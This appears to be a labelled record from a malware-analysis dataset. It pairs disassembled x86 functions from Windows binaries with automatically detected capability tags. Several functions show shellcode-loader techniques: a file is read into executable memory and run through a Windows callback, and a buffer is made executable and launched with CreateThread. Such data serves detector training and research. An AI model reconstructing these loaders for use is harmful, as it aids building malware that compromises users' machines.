joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401939
Capabilities:
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x250
push esi
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
test al, 0x10
je 0x401955
xor eax, eax
jmp 0x4019a4
mov eax, dword [0x41c270]
test eax, eax
je 0x401991
cmp eax, 2
jne 0x4019a1
lea eax, [ebp - 0x250]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
cmp eax, 0xffffffff
je 0x401991
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
push dword [ebp + 0xc]
lea eax, [ebp - 0x23c]
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jge 0x4019a1
push esi
call fcn.004023a9
neg eax
sbb eax, eax
pop ecx
neg eax
dec eax
jmp 0x4019a4
push 1
pop eax
pop esi
leave
ret

Function at 0x4019a7
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push 0
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x4019da
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x4019d7
push dword [esp + 4]
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4019da
test al, 0x10
jne 0x4019da
xor eax, eax
ret
push 1
pop eax
ret

Function at 0x4019de
Capabilities:
Query environment variable

Disassembly:
mov eax, 0x415000
call fcn.00414bc0
sub esp, 0xc
push ebx
push esi
push edi
xor ebx, ebx
push 0xf
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], ebx
call fcn.004016a5
cmp dword [ebp - 0x10], 1
mov dword [ebp - 4], ebx
jg 0x401a16
push 2
lea ecx, [ebp - 0x18]
call fcn.004016a5
mov edi, dword [ebp + 8]
mov esi, dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 1
push dword [ebp - 0x18]
mov eax, dword [edi]
push eax
call esi
cmp eax, ebx
je 0x401a72
lea ebx, [eax + 1]
cmp ebx, dword [ebp - 0x10]
jl 0x401a41
lea eax, [ebx + 1]
lea ecx, [ebp - 0x18]
push eax
call fcn.004016a5
mov eax, dword [edi]
push ebx
push dword [ebp - 0x18]
push eax
call esi
mov ecx, dword [ebp - 0x18]
xor esi, esi
xor eax, eax
cmp word [ecx], si
je 0x401a60
mov edx, ecx
inc eax
inc edx
inc edx
cmp word [edx], si
jne 0x401a58
mov word [ecx + eax*2], si
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x18]
mov ecx, edi
push eax
call fcn.004015ac
push dword [ebp - 0x18]
or dword [ebp - 4], 0xffffffff
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x405c93
Capabilities:
Contain obfuscated stackstrings

Disassembly:
loopne 0x405c94
invalid
call [ecx + 0x50]
push dword [ebp - 0x3a4]
push dword [ebp + 0x14]
call fcn.00403c9f
add esp, 0xc
mov dword [ebp - 0x37c], eax
cmp dword [ebp - 0x37c], 0
jne 0x405cbd
jmp 0x40567c
cmp dword [ebp - 0x37c], 0
je 0x405ccb
jmp 0x405d80
push 0
push 0
push 2
push 0
push 2
push 0x40000000
push dword [ebp - 0x3a0]
call dword [ebp - 0x3c8]
mov dword [ebp - 0x380], eax
cmp dword [ebp - 0x380], 0xffffffff
je 0x405d24
push 0
lea eax, [ebp - 0x6c4]
push eax
push dword [ebp - 0x38c]
push dword [ebp - 0x748]
push dword [ebp - 0x380]
call dword [ebp - 0x730]
push dword [ebp - 0x380]
call dword [ebp - 0x680]
jmp 0x405d29
jmp 0x40567c
and dword [ebp - 0x37c], 0
push dword [ebp - 0x3a0]
invalid

Function at 0x406538
Capabilities:
Get common file path
Get file system object information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4d0
push esi
push edi
lea eax, [ebp - 0x10]
mov edi, 0x4b6
push eax
mov esi, ecx
push edi
call fcn.00405f12
mov eax, dword [ebp - 4]
push 1
sub eax, dword [ebp - 0xc]
push edi
mov ecx, esi
inc eax
inc eax
mov dword [esi + 0x40], eax
call fcn.00405f7b
inc edi
push 1
push edi
mov ecx, esi
call fcn.00405f7b
lea eax, [ebp - 0x21c]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x103
lea eax, [ebp - 0x4d0]
push 0x2b4
push eax
lea eax, [ebp - 0x21c]
push 0
push eax
call dword [sym.imp.SHELL32.dll_SHGetFileInfoW]
mov eax, dword [ebp - 0x4d0]
push edi
push dword [esi + 4]
mov dword [esi + 0x38], eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0x4066da
push 0xfffffffffffffffc
push eax
call dword [sym.imp.USER32.dll_SetWindowLongW]
mov ecx, esi
mov dword [esi + 0x3c], eax
call fcn.00405d35
pop edi
pop esi
leave
ret

Function at 0x407775
Capabilities:
Encode data using xor

Disassembly:
mov eax, ecx
mov ecx, edx
mov edx, dword [esp + 4]
test edx, edx
jbe 0x4077a2
push esi
push edi
movzx edi, byte [ecx]
mov esi, eax
and esi, 0xff
xor esi, edi
shr eax, 8
mov esi, dword [esi*4 + 0x41c4c0]
xor eax, esi
inc ecx
dec edx
jne 0x407783
pop edi
pop esi
ret 4
Function at 0x40d7ff
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x415e1b
call fcn.00414bc0
push ecx
push ebx
push esi
mov esi, ecx
xor eax, eax
push edi
mov dword [ebp - 0x10], esi
mov dword [esi], eax
mov dword [ebp - 4], eax
mov dword [esi + 4], eax
mov ecx, dword [ebp + 8]
push 8
mov dword [esi + 8], ecx
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0xc], ecx
lea ecx, [esi + 0x10]
pop edi
mov edx, 0x4175a0
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], edi
mov dword [ecx], edx
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], edi
mov dword [esi + 0x24], edx
lea ebx, [esi + 0x38]
mov edx, 0x4175c8
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], eax
mov dword [ebx + 0x10], 4
mov dword [ebx], edx
lea edi, [esi + 0x4c]
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], 4
mov dword [edi], edx
push dword [esi + 8]
mov byte [ebp - 4], 5
call fcn.0040f4f9
push dword [esi + 8]
mov ecx, ebx
call fcn.0040f4f9
push dword [esi + 0xc]
mov ecx, edi
call fcn.0040f4f9
push dword [esi + 0xc]
mov ecx, edi
call fcn.0040f4f9
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8

Function at 0x40d80b
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x415e1b
call fcn.00414bc0
push ecx
push ebx
push esi
mov esi, ecx
xor eax, eax
push edi
mov dword [ebp - 0x10], esi
mov dword [esi], eax
mov dword [ebp - 4], eax
mov dword [esi + 4], eax
mov ecx, dword [ebp + 8]
push 8
mov dword [esi + 8], ecx
mov ecx, dword [ebp + 0xc]
mov dword [esi + 0xc], ecx
lea ecx, [esi + 0x10]
pop edi
mov edx, 0x4175a0
mov dword [ecx + 4], eax
mov dword [ecx + 8], eax
mov dword [ecx + 0xc], eax
mov dword [ecx + 0x10], edi
mov dword [ecx], edx
mov dword [esi + 0x28], eax
mov dword [esi + 0x2c], eax
mov dword [esi + 0x30], eax
mov dword [esi + 0x34], edi
mov dword [esi + 0x24], edx
lea ebx, [esi + 0x38]
mov edx, 0x4175c8
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
mov dword [ebx + 0xc], eax
mov dword [ebx + 0x10], 4
mov dword [ebx], edx
lea edi, [esi + 0x4c]
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], 4
mov dword [edi], edx
push dword [esi + 8]
mov byte [ebp - 4], 5
call fcn.0040f4f9
push dword [esi + 8]
mov ecx, ebx
call fcn.0040f4f9
push dword [esi + 0xc]
mov ecx, edi
call fcn.0040f4f9
push dword [esi + 0xc]
mov ecx, edi
call fcn.0040f4f9
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 8

Function at 0x40e5bf
Capabilities:
Get file size

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push esi
push eax
push dword [ecx]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
cmp esi, 0xffffffff
jne 0x40e5e5
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x40e5e5
xor al, al
jmp 0x40e605
push 1
push 0
push 0
push dword [ebp - 4]
call fcn.00414d20
mov ecx, eax
xor eax, eax
add ecx, esi
adc edx, eax
mov eax, dword [ebp + 8]
mov dword [eax], ecx
mov dword [eax + 4], edx
mov al, 1
pop esi
leave
ret 4
Function at 0x40fce3
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 0
push 0
call dword [sym.imp.MSVCRT.dll__beginthreadex]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
xor ecx, ecx
test eax, eax
setne cl
push ecx
call fcn.0040fcb1
add esp, 0x1c
pop ebp
ret

Function at 0x4137ba
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, dword [ebp + 0x14]
xor eax, eax
mov edx, dword [ecx]
and edx, 7
cmp dword [ebp + 0xc], 5
jae 0x4137d1
leave
ret
add dword [ebp + 0x10], 5
or dword [ebp - 4], 0xffffffff
push ebx
push esi
push edi
mov ecx, dword [ebp + 8]
lea esi, [eax + ecx]
mov eax, dword [ebp + 0xc]
lea edi, [ecx + eax - 4]
cmp esi, edi
jae 0x4137f8
mov al, byte [esi]
and al, 0xfe
cmp al, 0xe8
je 0x4137f8
inc esi
jmp 0x4137e9
mov eax, esi
sub eax, ecx
cmp esi, edi
mov dword [ebp - 8], eax
jae 0x4138e8
mov ecx, eax
sub ecx, dword [ebp - 4]
cmp ecx, 3
jbe 0x41382d
xor edx, edx
mov cl, byte [esi + 4]
mov dword [ebp - 4], eax
test cl, cl
je 0x41385a
cmp cl, 0xff
je 0x41385a
and edx, 3
shl edx, 1
or edx, 1
inc eax
jmp 0x4137dc
dec ecx
shl edx, cl
and edx, 7
je 0x413813
movzx ecx, byte [edx + 0x4179e0]
mov edi, esi
sub edi, ecx
cmp byte [edx + 0x4179d8], 0
mov cl, byte [edi + 4]
je 0x413855
test cl, cl
je 0x413855
cmp cl, 0xff
jne 0x413813
mov dword [ebp - 4], eax
jmp 0x413822
xor ebx, ebx
mov bh, cl
mov bl, byte [esi + 3]
movzx ecx, byte [esi + 2]
shl ebx, 8
or ebx, ecx
movzx ecx, byte [esi + 1]
shl ebx, 8
or ebx, ecx
mov edi, ebx
cmp dword [ebp + 0x18], 0
je 0x413883
lea ebx, [edi + eax]
add ebx, dword [ebp + 0x10]
jmp 0x41388a
sub edi, eax
sub edi, dword [ebp + 0x10]
mov ebx, edi
test edx, edx
je 0x4138be
movzx edi, byte [edx + 0x4179e0]
push 0x18
mov eax, ebx
shl edi, 3
pop ecx
sub ecx, edi
shr eax, cl
test al, al
je 0x4138a9
cmp al, 0xff
jne 0x4138bb
push 0x20
mov eax, dword [ebp - 8]
pop ecx
push 1
sub ecx, edi
pop edi
shl edi, cl
dec edi
xor edi, ebx
jmp 0x413875
mov eax, dword [ebp - 8]
mov ecx, ebx
mov byte [esi + 1], bl
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [esi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [esi + 3], cl
mov ecx, ebx
shr ecx, 8
mov byte [esi + 2], cl
add eax, 5
jmp 0x4137dc
mov esi, eax
push 3
sub esi, dword [ebp - 4]
pop edi
lea ecx, [esi - 1]
shl edx, cl
and edx, 7
cmp edi, esi
sbb ecx, ecx
pop edi
not ecx
and ecx, edx
mov edx, dword [ebp + 0x14]
pop esi
pop ebx
mov dword [edx], ecx
leave
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub esp, 0x1c
xor eax, eax
cmp word [0x400000], 0x5a4d
mov dword [0x406054], 1
mov dword [0x406050], 1
mov dword [0x40604c], 1
jne 0x401056
mov edx, dword [0x40003c]
cmp dword [edx + 0x400000], 0x4550
lea ecx, [edx + 0x400000]
je 0x4010b0
mov dword [0x40600c], eax
mov eax, dword [0x406060]
test eax, eax
je 0x4010a0
mov dword [esp], 2
call sym.___set_app_type
call sym.___p__fmode
mov edx, dword [0x406074]
mov dword [eax], edx
call sym.___p__commode
mov edx, dword [0x40605c]
mov dword [eax], edx
call dbg._setargv
cmp dword [0x403010], 1
je 0x4010e0
xor eax, eax
add esp, 0x1c
ret
mov dword [esp], 1
call sym.___set_app_type
jmp 0x401070
movzx edx, word [ecx + 0x18]
cmp dx, 0x10b
je 0x4010f8
cmp dx, 0x20b
jne 0x401056
cmp dword [ecx + 0x84], 0xe
jbe 0x401056
mov edx, dword [ecx + 0xf8]
xor eax, eax
test edx, edx
setne al
jmp 0x401056
mov dword [esp], dbg._matherr
call dbg.__mingw_setusermatherr
xor eax, eax
add esp, 0x1c
ret
cmp dword [ecx + 0x74], 0xe
jbe 0x401056
mov ecx, dword [ecx + 0xe8]
xor eax, eax
test ecx, ecx
setne al
jmp 0x401056

Function at 0x401760
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call dbg.__acrt_iob_func
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sym._fwrite
mov dword [esp], 2
call dbg.__acrt_iob_func
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x4017c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x406068]
test esi, esi
jle 0x4018e0
mov eax, dword [0x40606c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp ebx, edx
jb 0x4017f4
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x401877
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x4017e0
mov dword [esp], ebx
call dbg.__mingw_GetSectionForAddress
mov edi, eax
test eax, eax
je 0x401907
mov eax, dword [0x40606c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call dbg._GetPEImageBase
mov edx, dword [0x40606c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x4018e7
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x401870
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401880
add dword [0x406068], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 4
mov eax, 0x40
mov ecx, dword [esp + 0x20]
cmove eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x40606c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x401870
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call dbg.__report_error
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x4017fe
mov eax, dword [0x40606c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call dbg.__report_error
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call dbg.__report_error
lea esi, [esi]
nop

Function at 0x401e10
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x40607c]
sub esp, 4
test ebx, ebx
je 0x401e65
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401e5e
test esi, esi
je 0x401e5e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401e40
mov dword [esp], 0x406084
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret
Function at 0x4021a0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4021c5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4021d0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4021c5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test si, si
je 0x402218
xor ecx, ecx
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40220e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40221a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402200
xor eax, eax
pop ebx
pop esi
ret

Function at 0x402580
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function
Get file size
Read file on windows

Disassembly:
push edi
push esi
push ebx
sub esp, 0x30
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0x80000000
mov dword [esp], str.config.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
sub esp, 0x1c
cmp eax, 0xffffffff
je 0x40266e
mov dword [esp + 4], 0
mov ebx, eax
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
sub esp, 8
mov edi, eax
mov dword [esp + 0xc], 0x40
mov dword [esp + 8], 0x1000
mov dword [esp + 4], eax
mov dword [esp], 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
sub esp, 0x10
mov esi, eax
test eax, eax
je 0x40269d
lea eax, [esp + 0x2c]
mov dword [esp + 0x2c], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
sub esp, 0x14
mov dword [esp + 0xc], 0x15
mov dword [esp + 8], 0xffffffff
mov dword [esp + 4], 0x400
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
xor eax, eax
sub esp, 0x10
add esp, 0x30
pop ebx
pop esi
pop edi
ret
mov dword [esp + 0xc], 0
mov dword [esp + 8], str.Error
mov dword [esp + 4], str.Config_File_not_found
mov dword [esp], 0
call dword [sym.imp.USER32.dll_MessageBoxA]
sub esp, 0x10
mov eax, 0xffffffff
jmp 0x402667
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x402696

Function at 0x4026b0
Capabilities:
Terminate process

Disassembly:
sub esp, 0x1c
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0
call dword [sym.imp.ADVAPI32.dll_OpenEncryptedFileRawA]
sub esp, 0xc
mov dword [esp], 0
cmp eax, 0x7b
je 0x4026f3
call dword [sym.imp.KERNEL32.dll_GlobalHandle]
sub esp, 4
call method.readini::fun.__normal_iterator__
xor eax, eax
add esp, 0x1c
ret
call dword [sym.imp.KERNEL32.dll_GlobalSize]
xor edx, edx
push eax
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x40a403
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
xor ebx, ebx
cmp dword [0x413344], ebx
push esi
push edi
jne 0x40a483
push 0x40f608
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x40a4be
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push 0x40f5fc
push edi
call esi
test eax, eax
mov dword [0x413344], eax
je 0x40a4be
push 0x40f5ec
push edi
call esi
push 0x40f5d8
push edi
mov dword [0x413348], eax
call esi
cmp dword [0x4132ac], 2
mov dword [0x41334c], eax
jne 0x40a483
push 0x40f5bc
push edi
call esi
test eax, eax
mov dword [0x413354], eax
je 0x40a483
push 0x40f5a4
push edi
call esi
mov dword [0x413350], eax
mov eax, dword [0x413350]
test eax, eax
je 0x40a4c8
call eax
test eax, eax
je 0x40a4af
lea ecx, [ebp - 4]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [0x413354]
test eax, eax
je 0x40a4af
test byte [ebp - 8], 1
jne 0x40a4c8
cmp dword [0x4132b8], 4
jb 0x40a4c2
or byte [ebp + 0x12], 0x20
jmp 0x40a4e7
xor eax, eax
jmp 0x40a4f7
or byte [ebp + 0x12], 4
jmp 0x40a4e7
mov eax, dword [0x413348]
test eax, eax
je 0x40a4e7
call eax
mov ebx, eax
test ebx, ebx
je 0x40a4e7
mov eax, dword [0x41334c]
test eax, eax
je 0x40a4e7
push ebx
call eax
mov ebx, eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push ebx
call dword [0x413344]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4029b0
Capabilities:
Accept command line arguments
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
movsx ecx, byte [eax]
cmp ecx, 0x22
jne 0x402a09
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x4029f3
mov edx, dword [ebp - 0x4c]
movsx eax, byte [edx]
cmp eax, 0x22
je 0x4029f3
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
jmp 0x4029d3
mov edx, dword [ebp - 0x4c]
movsx eax, byte [edx]
cmp eax, 0x22
jne 0x402a07
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
jmp 0x402a1f
mov edx, dword [ebp - 0x4c]
movsx eax, byte [edx]
cmp eax, 0x20
jle 0x402a1f
mov ecx, dword [ebp - 0x4c]
add ecx, 1
mov dword [ebp - 0x4c], ecx
jmp 0x402a09
mov edx, dword [ebp - 0x4c]
movsx eax, byte [edx]
test eax, eax
je 0x402a3f
mov ecx, dword [ebp - 0x4c]
movsx edx, byte [ecx]
cmp edx, 0x20
jg 0x402a3f
mov eax, dword [ebp - 0x4c]
add eax, 1
mov dword [ebp - 0x4c], eax
jmp 0x402a1f
mov dword [ebp - 0x1c], 0
lea ecx, [ebp - 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_GetStartupInfoA]
call fcn.00402ae0
push 0x404004
push section..data
call fcn.00402ab0
add esp, 8
mov edx, dword [ebp - 0x1c]
and edx, 1
je 0x402a78
movzx eax, word [ebp - 0x18]
mov dword [ebp - 0x54], eax
jmp 0x402a7f
mov dword [ebp - 0x54], 0xa
mov ecx, dword [ebp - 0x54]
push ecx
mov edx, dword [ebp - 0x4c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call main
mov dword [ebp - 0x50], eax
call fcn.00402b50
mov eax, dword [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x401023
Capabilities:
Inspect load icon resource

Disassembly:
jmp 0x402440
push 0xffffffffffffffff
push 0x404615
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, dword [esp + 0x14]
push ebx
push ebp
push esi
push edi
mov esi, ecx
push eax
push 0x66
mov dword [esp + 0x18], esi
call sub.MFC42.DLL_CDialog::CDialog
lea edi, [esi + 0x60]
mov dword [esp + 0x1c], 0
mov ecx, edi
call sub.MFC42.DLL_CWnd::CWnd
mov dword [edi], 0x406420
lea edi, [esi + 0xa0]
mov byte [esp + 0x1c], 1
mov ecx, edi
call fcn.00402d5e
lea ebx, [esi + 0xa4]
mov byte [esp + 0x1c], 2
mov ecx, ebx
call fcn.00402d5e
lea ebp, [esi + 0xa8]
mov byte [esp + 0x1c], 3
mov ecx, ebp
call fcn.00402d5e
lea ecx, [esi + 0xac]
mov byte [esp + 0x1c], 4
call fcn.00402d5e
push 0x407c24
mov ecx, edi
mov byte [esp + 0x20], 5
mov dword [esi], 0x40631c
call fcn.00402f92
push str.11111
mov ecx, ebx
call fcn.00402f92
push str.87951235
mov ecx, ebp
call fcn.00402f92
push str.ware
lea ecx, [esi + 0xac]
call fcn.00402f92
call sub.MFC42.DLL_AfxGetModuleState
push 0x80
push 0xe
push 0x80
call sub.MFC42.DLL_AfxFindResourceHandle
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
push 0x550
mov dword [esi + 0xb0], eax
call sub.MFC42.DLL_operatornew
add esp, 4
mov dword [esp + 0x24], eax
test eax, eax
mov byte [esp + 0x1c], 6
je 0x402550
push esi
mov ecx, eax
call fcn.00401096
jmp 0x402552
xor eax, eax
mov ecx, dword [esp + 0x14]
mov dword [esi + 0xb4], eax
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x40102d
Capabilities:
Initialize winsock library

Disassembly:
jmp 0x401330
sub esp, 0x190
xor eax, eax
push esi
mov esi, ecx
push edi
mov ecx, 0x1369e
lea edi, [esi + 0x10]
mov dword [esi], 0x40601c
rep stosd dword es:[edi], eax
lea eax, [esp + 8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
xor edi, edi
push edi
push edi
push 1
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0xc], eax
mov dword [esi + 0x4da8c], edi
mov dword [esi + 4], edi
mov dword [esi + 8], 0xffffffff
mov eax, esi
pop edi
pop esi
add esp, 0x190
ret

Function at 0x401050
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
jmp 0x4014f0
push ecx
mov eax, dword [0x4078ac]
push esi
push edi
mov edi, ecx
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov esi, eax
add esp, 4
test esi, esi
jne 0x40150e
pop edi
pop esi
pop ecx
ret
mov ecx, dword [0x4078ac]
add edi, 0x4da90
push ecx
push edi
push esi
call fcn.00401005
add esp, 0xc
push str.VirtualProtect
push str.KERNEL32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea edx, [esp + 8]
push edx
push 0x40
push 0x4da78
push esi
call eax
push 0
push 0
push esi
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
mov eax, 1
pop esi
pop ecx
ret